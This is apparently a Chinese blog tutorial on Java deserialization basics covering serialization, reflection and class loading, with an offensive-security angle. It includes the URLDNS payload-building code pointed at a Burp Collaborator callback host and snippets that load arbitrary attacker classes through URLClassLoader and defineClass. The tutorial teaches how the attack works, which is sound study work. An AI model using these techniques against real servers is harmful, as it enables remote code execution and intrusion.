0%

Java反序列化基础

Java入门的简单基础,包括序列化反序列化、反射、类的动态加载,动态代理暂时还没用到,后面用到再加上。

序列化和反序列化

Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。

用处

  • 想把内存中的对象保存到一个文件中或者数据库中时候;
  • 想用套接字在网络上传送对象的时候;
  • 想通过RMI传输对象的时候

实现

只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)

通过 ObjectOutStream 包装 FileOutStream或者ByteArrayInputStream

image-20211202160433241

同理,可以通过 ObjectInputStream 将数据从磁盘 FileInputStream 或者内存 ByteArrayInputStream 读取出来然后转化为指定的对象

ObjectOutputStream代表对象输出流:

  • 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。

ObjectInputStream代表对象输入流:

  • 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。

例子

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Person implements Serializable {
private String name;
private int age;

public Person(){}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SerializeTest {

public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("person.ser"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws IOException {
Person person = new Person("a",22);
// System.out.println(person);
serialize(person);
}
}

Unserialize.java

1
2
3
4
5
6
7
8
9
10
11
12
public class UnserializeTest {
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = (Person) unserialize("person.ser");
System.out.println(person);
}
}

其他需要注意的点

  1. 静态成员变量是不能被序列化
  2. transient 标识的对象成员变量不参与序列化

重写writeObject和readObject方法

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

public class MyList implements Serializable {

private String name;


/*
transient 表示该成员 arr 不需要被序列化
*/
private transient Object[] arr;

public MyList() {
}

public MyList(String name) {
this.name = name;
this.arr = new Object[100];
/*
给前面30个元素进行初始化
*/
for (int i = 0; i < 30; i++) {
this.arr[i] = i;
}
}

@Override
public String toString() {
return "MyList{" +
"name='" + name + '\'' +
", arr=" + Arrays.toString(arr) +
'}';
}


//-------------------------- 自定义序列化反序列化 arr 元素 ------------------

/**
* Save the state of the <tt>ArrayList</tt> instance to a stream (that
* is, serialize it).
*
* @serialData The length of the array backing the <tt>ArrayList</tt>
* instance is emitted (int), followed by all of its elements
* (each an <tt>Object</tt>) in the proper order.
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
//执行 JVM 默认的序列化操作
s.defaultWriteObject();


//手动序列化 arr 前面30个元素
for (int i = 0; i < 30; i++) {
s.writeObject(arr[i]);
}
}

/**
* Reconstitute the <tt>ArrayList</tt> instance from a stream (that is,
* deserialize it).
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {

s.defaultReadObject();
arr = new Object[30];

// Read in all elements in the proper order.
for (int i = 0; i < 30; i++) {
arr[i] = s.readObject();
}
}
}

安全问题的产生

只要服务端反序列化数据,客户端传递的类的readObject中的代码就会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

  1. 入口类的readObject直接调用危险方法。
  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用。
  4. 构造函数/静态代码块等在类加载时隐式执行

利用

  1. 入口类
    • 重写readObject
    • readObject调用常见函数
    • 参数类型宽泛
    • 最好jdk自带
  2. 调用链 gadget chain
    • 相同名称,相同类型
  3. 执行类

URLDNS

最简单的链,检测反序列化位点

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

然而put的时候直接调用了hashCode,需要通过反射改变已有对象的属性。

注意,java有dns缓存,所以同一个url,只会dns解析一次,后面都会直接在缓存里面找

拓展

Serializable 接口

一个对象想要被序列化,那么它的类就要实现此接口或者它的子接口。

这个对象的所有属性(包括private属性、包括其引用的对象)都可以被序列化和反序列化来保存、传递。不想序列化的字段可以使用transient修饰。

由于Serializable对象完全以它存储的二进制位为基础来构造,因此并不会调用任何构造函数,因此Serializable类无需默认构造函数,但是当Serializable类的父类没有实现Serializable接口时,反序列化过程会调用父类的默认构造函数,因此该父类必需有默认构造函数,否则会抛异常。

使用transient关键字阻止序列化虽然简单方便,但被它修饰的属性被完全隔离在序列化机制之外,导致了在反序列化时无法获取该属性的值,而通过在需要序列化的对象的Java类里加入writeObject()方法与readObject()方法可以控制如何序列化各属性,甚至完全不序列化某些属性或者加密序列化某些属性。

Externalizable 接口

它是Serializable接口的子类,用户要实现的writeExternal()和readExternal() 方法,用来决定如何序列化和反序列化。

因为序列化和反序列化方法需要自己实现,因此可以指定序列化哪些属性,而transient在这里无效。

对Externalizable对象反序列化时,会先调用类的无参构造方法,这是有别于默认反序列方式的。如果把类的不带参数的构造方法删除,或者把该构造方法的访问权限设置为private、默认或protected级别,会抛出java.io.InvalidException: no valid constructor异常,因此Externalizable对象必须有默认构造函数,而且必需是public的。

反射

Java 的反射机制是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法; 并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。

总的来时,反射赋予Java动态特性

反射的基本使用

获取Class对象
  1. 使用Class.forName 静态方法

    1
    Class class1 = Class.forName("Person");
  2. 使用类的.class静态属性

    1
    Class class2 = Person.class;
  3. 使用实例对象的getClass()方法

    1
    2
    Person person = new Person();
    Class class3 = person.getClass();
  4. 通过ClassLoader获取

    1
    2
    ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
    Class<?> c = systemClassLoader.loadClass("Person");
    创造实例对象
  5. 通过Class的newInstance()方法

  6. 通过Constructor的newInstance()方法

1
2
3
4
5
6
7
8
9
//方式一
Class class1 = Class.forName("reflection.Student");
Student student = (Student) class1.newInstance();
System.out.println(student);

//方式二
Constructor constructor = class1.getConstructor();
Student student1 = (Student) constructor.newInstance();
System.out.println(student1);

方法一只能调用无参构造函数,一般不用

获取类的成员变量
1
2
3
4
getField()
getDeclaredField()
getFields()
getDeclaredFields()
修改成员变量
1
Field.set(Object obj,Object value)

如何修改私有变量?

1
Field.setAccessible(true);
获取类的方法
1
2
3
4
getMethod(String name, Class<?>... parameterTypes)
getMethods()
getDeclaredMethod()
getDeclaredMethods()
调用类的方法
1
invoke(Object obj, Object... args)

setAccessible同理

回到URLDNS

put之前修改hashCode属性不为-1;put之后,反序列化之前修改hashCode属性为-1

1
2
3
4
5
6
7
8
9
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://y21jgo6y2e6rmwv062dgrkf2ctik69.burpcollaborator.net");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,123);
hashMap.put(url,1);
hashCodeField.set(url,-1);
serialize(hashMap);

应用

  • 定制需要的对象
  • 通过invoke调用除了同名函数之外的函数
  • 通过Class类创建对象,引入不能序列化的类

类的动态加载

类的加载机制

Java虚拟机把描述类的数据从Class文件加载到内存,并对数据进行校验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这个过程被称作虚拟机的类加载机制。

类的生命周期

类从被加载到虚拟机内存中开始,到卸载出内存为止,它的整个生命周期包括:加载,验证,准备,解析,初始化,使用,卸载这7个阶段.其中其中验证、准备、解析3个部分统称为连接

image-20211203095022058

  1. 加载:查找并加载类的二进制数据
  2. 验证:确保被加载的类的正确性
  3. 准备:为类的静态变量分配内存,并将其初始化为默认值
  4. 解析:把类中的符号引用转换为直接引用
  5. 初始化:对类的静态变量,静态代码块执行初始化操作
  6. 使用:类访问方法区内的数据结构的接口, 对象是Heap区的数据。
  7. 卸载

类加载器

虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取描述此类的二进制字节流”这个动作放到Java虚拟机外部去实现,以便让应用程序自己决定如何去获取所需要的类。 实现这个动作的代码模块称为“类加载器”。

类加载的三种方式

  1. 命令行启动应用时候由JVM初始化加载
  2. 通过Class.forName()方法动态加载
  3. 通过ClassLoader.loadClass()方法动态加载

.classgetClass()使用之前类均已加载完毕

类加载机制

类的双亲委派机制

双亲委派模型的工作过程是:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的类加载器都是如此,因此所有的加载请求最终都应该传送到最顶层的启动类加载器中,只有当父加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去完成加载。

image-20211203104850877

启动类加载器(Bootstrap ClassLoader)

这个类将器负责将存放在<JAVA_HOME>\lib目录中的,或者被-Xbootclasspath参数所指定的路径中的,并且是虚拟机识别的(按照文件名识别,如rt.jar、tools.jar,名字不符合的类库即使放在lib目录中也不会被加载)类库加载到虚拟机内存中。

扩展类加载器(Extension ClassLoader)

这个加载器由sun.misc.Launcher$ExtClassLoader实现,它负责加载<JAVA_HOME>\lib\ext目录中的,或者被java.ext.dirs系统变量所指定的路径中的所有类库,开发者可以直接使用扩展类加载器。

应用程序类加载器(Application ClassLoader)

这个类加载器由sun.misc.Launcher$AppClassLoader来实现。由于应用程序类加载器是ClassLoader类中的getSystem-ClassLoader()方法的返回值,所以有些场合中也称它为“系统类加载器”。

它负责加载用户类路径(ClassPath)上所有的类库,开发者同样可以直接在代码中使用这个类加载器。如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。

我们的应用程序都是由这3种类加载器互相配合进行加载的,如果有必要,还可以加入自己定义的类加载器。

举例如下:
  1. 当AppClassLoader加载一个class时,它首先不会自己去尝试加载这个类,而是把类加载请求委派给父类加载器ExtClassLoader去完成。
  2. 当ExtClassLoader加载一个class时,它首先也不会自己去尝试加载这个类,而是把类加载请求委派给BootStrapClassLoader去完成。
  3. 如果BootStrapClassLoader加载失败(例如在$JAVA_HOME/jre/lib里未查找到该class),会使用ExtClassLoader来尝试加载;
  4. 若ExtClassLoader也加载失败,则会使用AppClassLoader来加载,如果AppClassLoader也加载失败,则会报出异常ClassNotFoundException。

类加载与代码执行

JVM初始化加载

初始化:静态代码块

实例化:构造代码块、无参构造函数

动态加载

Class.forname:初始化/不初始化皆可

ClassLoader.loadClass:不进行初始化

加载任意类

加载自己的恶意类,拓展攻击面

分析
1
2
继承关系:
ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
1
2
调用链:
loadClass->findClass->defineClass
利用
  1. URLClassLoader任意类加载:file/http/jar

    1
    2
    3
    4
    5
    //        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\tmp\\")});
    // URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:8888/")});
    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///C:\\tmp\\Hello.jar!/")});
    Class<?> c1 = urlClassLoader.loadClass("Hello");
    c1.newInstance();
  2. ClassLoader.defineClass 字节码加载任意类

    1
    2
    3
    4
    Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    defineClassMethod.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Hello.class"));
    defineClassMethod.invoke(systemClassLoader,"Hello",code,0,code.length);

maven踩坑

  • 中文官网下载jdk的链接有问题,需要去英文官网才正常
  • 只有使用idea自带的maven才可以download source,否则会报错:Sources not found for: commons-collections:commons-collections:3.2.1

参考

白日梦组长的个人空间_哔哩哔哩_bilibili

(2条消息) java序列化与反序列化全讲解_mocas_wang的博客-CSDN博客_java序列化讲解

谈谈Java反射:从入门到实践,再到原理 - 掘金 (juejin.cn)

关于JVM类加载机制,看这一篇就够了 - 掘金 (juejin.cn)